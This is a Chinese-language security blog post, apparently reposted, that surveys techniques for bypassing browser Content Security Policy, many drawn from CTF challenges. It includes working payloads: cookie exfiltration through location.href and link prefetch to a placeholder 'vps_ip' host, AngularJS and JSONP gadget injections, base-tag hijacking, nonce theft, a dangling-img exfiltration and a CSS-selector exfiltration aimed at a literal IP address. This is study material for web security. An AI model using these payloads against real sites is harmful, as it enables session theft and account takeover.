我的CSP绕过思路及总结

栏目: JavaScript · 发布时间: 6年前

内容简介:内容安全策略(CSP)是一种web应用技术用于帮助缓解大部分类型的内容注入攻击,包括XSS攻击和数据注入等,这些攻击可实现数据窃取、网站破坏和作为恶意软件分发版本等行为。该策略可让网站管理员指定客户端允许加载的各类可信任资源。当代网站太容易收到XSS的攻击,CSP就是一个统一有效的防止网站收到XSS攻击的防御方法。CSP是一种白名单策略,当有从非白名单允许的JS脚本出现在页面中,浏览器会阻止脚本的执行。CSP的具体介绍可以看看手册

内容安全策略(CSP)是一种web应用技术用于帮助缓解大部分类型的内容注入攻击,包括XSS攻击和数据注入等,这些攻击可实现数据窃取、网站破坏和作为恶意软件分发版本等行为。该策略可让网站管理员指定客户端允许加载的各类可信任资源。

当代网站太容易收到XSS的攻击,CSP就是一个统一有效的防止网站收到XSS攻击的防御方法。CSP是一种白名单策略,当有从非白名单允许的JS脚本出现在页面中,浏览器会阻止脚本的执行。

CSP的具体介绍可以看看手册 内容安全策略

CSP的绕过

CSP的绕过从CSP的诞生开始就一直被前端的安全研究人员所热衷,本文总结一些我了解到的CSP的绕过方式,若有不足,敬请批评补充

location.href

CSP不影响location.href跳转,因为当今大部分网站的跳转功能都是由前端实现的,CSP如果限制跳转会影响很多的网站功能。所以,用跳转来绕过CSP获取数据是一个万能的办法,虽然比较容易被发现,但是在大部分情况下对于我们已经够用

当我们已经能够执行JS脚本的时候,但是由于CSP的设置,我们的cookie无法带外传输,就可以采用此方法,将cookie打到我们的vps上

location.href = "vps_ip:xxxx?"+document.cookie

有人跟我说可以跳过去再跳回来,但是这样不是会死循环一直跳来跳去吗2333333

利用条件:

  1. 可以执行任意JS脚本,但是由于CSP无法数据带外

link标签导致的绕过

这个方法其实比较老,去年我在我机器上试的时候还行,现在就不行了

因为这个标签当时还没有被CSP约束,当然现在浏览器大部分都约束了此标签,但是老浏览器应该还是可行的。

所以我们可以通过此标签将数据带外

<!-- firefox -->
<link rel="dns-prefetch" href="//${cookie}.vps_ip">

<!-- chrome -->
<link rel="prefetch" href="//vps_ip?${cookie}">

当然这个是我们写死的标签,如何把数据带外?

var link = document.createElement("link");
link.setAttribute("rel", "prefetch");
link.setAttribute("href", "//vps_ip/?" + document.cookie);
document.head.appendChild(link);

这样就可以把cookie带外了

利用条件:

  1. 可以执行任意JS脚本,但是由于CSP无法数据带外

使用Iframe绕过

当一个同源站点,同时存在两个页面,其中一个有CSP保护的A页面,另一个没有CSP保护B页面,那么如果B页面存在XSS漏洞,我们可以直接在B页面新建iframe用javascript直接操作A页面的dom,可以说A页面的CSP防护完全失效

A页面:

<!-- A页面 -->
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">

<h1 id="flag">flag{0xffff}</h1>

B页面:

<!-- B页面 -->

<!-- 下面模拟XSS -->
<body>
<script>
var iframe = document.createElement('iframe');
iframe.src="A页面";
document.body.appendChild(iframe);
setTimeout(()=>alert(iframe.contentWindow.document.getElementById('flag').innerHTML),1000);
</script>
</body>

我的CSP绕过思路及总结

setTimeout是为了等待iframe加载完成

利用条件:

  1. 一个同源站点内存在两个页面,一个页面存在CSP保护,另一个页面没有CSP保护且存在XSS漏洞
  2. 我们需要的数据在存在CSP保护的页面

用CDN来绕过

一般来说,前端会用到许多的前端框架和库,部分企业为了减轻服务器压力或者其他原因,可能会引用其他CDN上的JS框架,如果CDN上存在一些低版本的框架,就可能存在绕过CSP的风险

这里给出orange师傅绕hackmd CSP的文章 Hackmd XSS

案例中hackmd中CSP引用了cloudflare.com CDN服务,于是orange师傅采用了低版本的angular js模板注入来绕过CSP,如下

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'unsafe-eval' https://cdnjs.cloudflare.com;">
<!-- foo="-->
<script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.min.js>
</script>
<div ng-app>
    {{constructor.constructor('alert(document.cookie)')()}}
</div>

这个是存在低版本angular js的cdn服务商列表

https://github.com/google/csp-evaluator/blob/master/whitelist_bypasses/angular.js#L26-L76

除了低版本angular js的模板注入,还有许多库可以绕过CSP

下面引用 https://www.jianshu.com/p/f1de775bc43e

如果用了Jquery-mobile库,且CSP中包含”script-src ‘unsafe-eval’”或者”script-src ‘strict-dynamic’”,可以用此exp

<div data-role=popup id='<script>alert(1)</script>'></div>

还比如RCTF2018题目出现的AMP库,下面的标签可以获取名字为FLAG的cookie

<amp-pixel src="http://your domain/?cid=CLIENT_ID(FLAG)"></amp-pixel>

blackhat2017有篇ppt总结了可以被用来绕过CSP的一些JS库

https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf

利用条件:

  1. CDN服务商存在某些低版本的js库
  2. 此CDN服务商在CSP白名单中

站点可控静态资源绕过

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'unsafe-eval' https://www.google-analytics.com">
<script src="https://www.google-analytics.com/gtm/js?id=GTM-PJF5W64"></script>

我的CSP绕过思路及总结

同理,若其他站点下提供了可控静态资源的功能,且CSP中允许了此站点,则可以采用此方式绕过

利用条件:

  1. 站点存在可控静态资源
  2. 站点在CSP白名单中

站点可控JSONP绕过

JSONP的详细介绍可以看看我之前的一篇文章 https://xz.aliyun.com/t/4470

大部分站点的jsonp是完全可控的,只不过有些站点会让jsonp不返回html类型防止直接的反射型XSS,但是如果将url插入到script标签中,除非设置x-content-type-options头,否者尽管返回类型不一致,浏览器依旧会当成js进行解析

以ins’hack 2019/的bypasses-everywhere这道题为例,题目中的csp设置了 www.google.com

Content-Security-Policy: script-src www.google.com; img-src *; default-src 'none'; style-src 'unsafe-inline'

看上去非常天衣无缝,但是google站点存在了用户可控jsonp

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src https://www.google.com">

<script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert"></script>
我的CSP绕过思路及总结

配合注释符,我们即可执行任意js

下面是一些存在用户可控资源或者jsonp比较常用站点的github项目

https://github.com/google/csp-evaluator/blob/master/whitelist_bypasses/jsonp.js#L32-L180

利用条件:

  1. 站点存在可控Jsonp
  2. 站点在CSP白名单中

Base-uri绕过

第一次知道base-uri绕过是RCTF 2018 rBlog的非预期解< https://blog.cal1.cn/post/RCTF 2018 rBlog writeup>

当服务器CSP script-src采用了nonce时,如果只设置了default-src没有额外设置base-uri,就可以使用 <base> 标签使当前页面上下文为自己的vps,如果页面中的合法script标签采用了相对路径,那么最终加载的js就是针对base标签中指定url的相对路径

exp

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'nonce-test'">
<base href="//vps_ip/">
<script nonce='test' src="2.js"></script>

我的CSP绕过思路及总结 我的CSP绕过思路及总结 注意:如果页面的script-src不是采用的nonce而是self或者域名ip,则不能使用此方法,因为vps_ip不在csp白名单内

利用条件:

<script>

不完整script标签绕过nonce

考虑下下列场景,如果存在这样场景,该怎么绕过CSP

<?php header("X-XSS-Protection:0");?>
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'nonce-xxxxx'">
<?php echo $_GET['xss']?>
<script nonce='xxxxx'>
  //do some thing
</script>

如果我们输入 http://127.0.0.1/2.php?xss=<script src=data:text/plain,alert(1) 即可xss

这是因为当浏览器碰到一个左尖括号时,会变成标签开始状态,然后会一直持续到碰到右尖括号为止,在其中的数据都会被当成标签名或者属性,所以第五行的<script会变成一个属性,值为空,之后的nonce=’xxxxx’会被当成我们输入的script的标签的一个属性,相当于我们盗取了合法的script标签中的nonce,于是成功绕过了scripr-src

我的CSP绕过思路及总结

但是在chrome中,虽然第二个<script 被当成了属性名,但依旧会干扰chrome对标签的解析,造成错误,使我们的exp无法成功执行

我的CSP绕过思路及总结

这里可以用到标签的一个技巧,当一个标签存在两个同名属性时,第二个属性的属性名及其属性值都会被浏览器忽略

<!-- 3.php -->
<h1 a="123" b="456" a="789" a="abc">123</h1>

我的CSP绕过思路及总结

于是我们可以输入 http://127.0.0.1/2.php?xss=123<script src="data:text/plain,alert(1)" a=123 a=
先新建一个a属性,然后再新建第二个a属性,这样我们就将第二个<script赋给了第二个a属性,浏览器在解析的时候直接忽略了第二个属性及其后面的值,这样exp就能成功在chrome浏览器上执行

我的CSP绕过思路及总结

利用条件:

  1. 可控点在合法script标签上方,且其中没有其他标签
  2. XSS页面的CSP script-src只采用了nonce方式

object-src绕过(PDFXSS)

假如只有这一个页面,我们能有办法执行JS吗

<meta http-equiv="Content-Security-Policy" content="script-src 'self'">
<?php echo $_GET['xss']?>

在CSP标准里面,有一个属性是object-src,它限制的是

<embed width="100%" height="100%" src="//vps_ip/123.pdf"></embed>
我的CSP绕过思路及总结

当然pdf的xss并不是为所欲为,比如pdf-xss并不能获取页面cookie,但是可以弹窗,url跳转等

具体可以看看这篇文章 https://blog.csdn.net/microzone/article/details/52850623

里面有上面实例用的恶意pdf文件

当然,上面的例子并没有设置default-src,所以我们可以用外域的pdf文件,如果设置了default-src,我们必须找到一个pdf的上传点,(当然能上传的话直接访问这个pdf就能xss了2333),然后再用标签引用同域的pdf文件

利用条件:

  1. 没有设置object-src,或者object-src没有设置为’none’
  2. pdf用的是chrome的默认解析器

SVG绕过

SVG作为一个矢量图,但是却能够执行javascript脚本,如果页面中存在上传功能,并且没有过滤svg,那么可以通过上传恶意svg图像来xss

之前的easer CONFidence CTF就出过svg的xss

引用 https://www.smi1e.top/通过一道题了解缓存投毒和svg-xss/

1.svg

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="100px" height="100px" viewBox="0 0 751 751" enable-background="new 0 0 751 751" xml:space="preserve">  <image id="image0" width="751" height="751" x="0" y="0"
    href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAu8AAALvCAIAAABa4bwGAAAAIGNIUk0AAHomAACAhAAA+gAAAIDo" />
<script>alert(1)</script>
</svg>

我的CSP绕过思路及总结 利用条件:

  1. 可以上传svg图片

不完整的资源标签获取资源

看看下面的例子,我们如何把flag给带出来

<meta http-equiv="Content-Security-Policy" content="default-src 'self';script-src 'self'; img-src *;">
<?php echo $_GET['xss']?>
<h1>flag{0xffff}</h1>
<h2 id="id">3</h2>

这里可以注意到img用了*,有些网站会用很多外链图片,所以这个情况并不少见

虽然我们可以新建任意标签,但是由于CSP我们的JS并不能执行(没有unsafe-inline),于是我们可以用不完整的<img标签来将数据带出

exp: http://127.0.0.1/2.php?xss=<img src="//VPS_IP?a=

此时,由于src的引号没有闭合,html解析器会去一直寻找第二个引号,引号其中的大部分标签都不会被解析,所以在第四行的第一个引号前的所有内容,都会被当成src的值被发送到我们的vps上

我的CSP绕过思路及总结

需要注意的是,chrome下这个exp并不会成功,因为chrome不允许发出的url中含有回车或<,否者不会发出

我的CSP绕过思路及总结

利用条件:

  1. 可以加载外域资源 (img-src: *)
  2. 需要获取页面某处的信息
  3. 不好总结,看上面例子,懂意思就行

CSS选择器获取内容

这个来自2018 SECCON CTF的一道题,虽然原题中不是用来绕csp,但是也能拿过来利用,当然利用条件比较苛刻,需要

设置style-src为*,或者只设置了script-src

原题可以看看这篇文章 https://www.yourhome.ren/index.php/sec/608.html

大概思路就是css提供了选择器,当选择器到对应元素的时,可以加载一个外域请求,相当于 sql 的盲注

//这里引用的是上面文章中的exp
input[value^="6703"] {background-image:url("http://vps_ip/?6703");}

这句话的意思是,当input的value值已6703开头,则去加载后面的url,于是我们可以一位一位爆破,先猜第一位,再猜第二位。。。

<meta http-equiv="Content-Security-Policy" content="default-src 'self';script-src 'self'; style-src 'unsafe-inline';img-src *">
<?php echo $_GET['xss']?>
<input value="flag{0xffff}">
exp: http://127.0.0.1/1.php?xss=<style>input[value^="flag{0xffff}"] {background-image:url("http://47.106.65.216:1002/?flag{0xffff}")}%3C/style%3E
我的CSP绕过思路及总结

太苛刻了,之前想到随便提一下好了

利用条件:(好苛刻啊都不想写了)

  1. style允许内敛,img可以跨域
  2. 需要获取的数据在页面内
  3. 可以新建标签
  4. 可以多次发送xss且获取的数据不会变(毕竟不可能一次请求就注出来,除非能执行js写脚本一口气注)

CRLF绕过

HCTF2018的一道题,当一个页面存在CRLF漏洞时,且我们的可控点在CSP上方,就可以通过注入回车换行,将CSP挤到HTTP返回体中,这样就绕过了CSP

原题github https://github.com/Lou00/HCTF2018_Bottle

这个原理比较简单,就不写条件了


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

产品型社群

产品型社群

李善友 / 机械工业出版社 / 2015-3-1 / CNY 69.00

传统模式企业正在直面一场空前的“降维战争”, 结局惨烈,或生或死。 传统模式很难避免悲惨下场, 诺基亚等昔日庞然大物轰然倒塌, 柯达发明了数码成像技术却依然破产, 新商业的兴起到底遵循的是什么模式? 微信轻而易举干掉了运营商的短信业务, “好未来”为何让传统教育不明觉厉? 花间堂为什么不是酒店,而是入口? 将来不会有互联网企业与传统企业之分, ......一起来看看 《产品型社群》 这本书的介绍吧!

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

随机密码生成器
随机密码生成器

多种字符组合密码

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具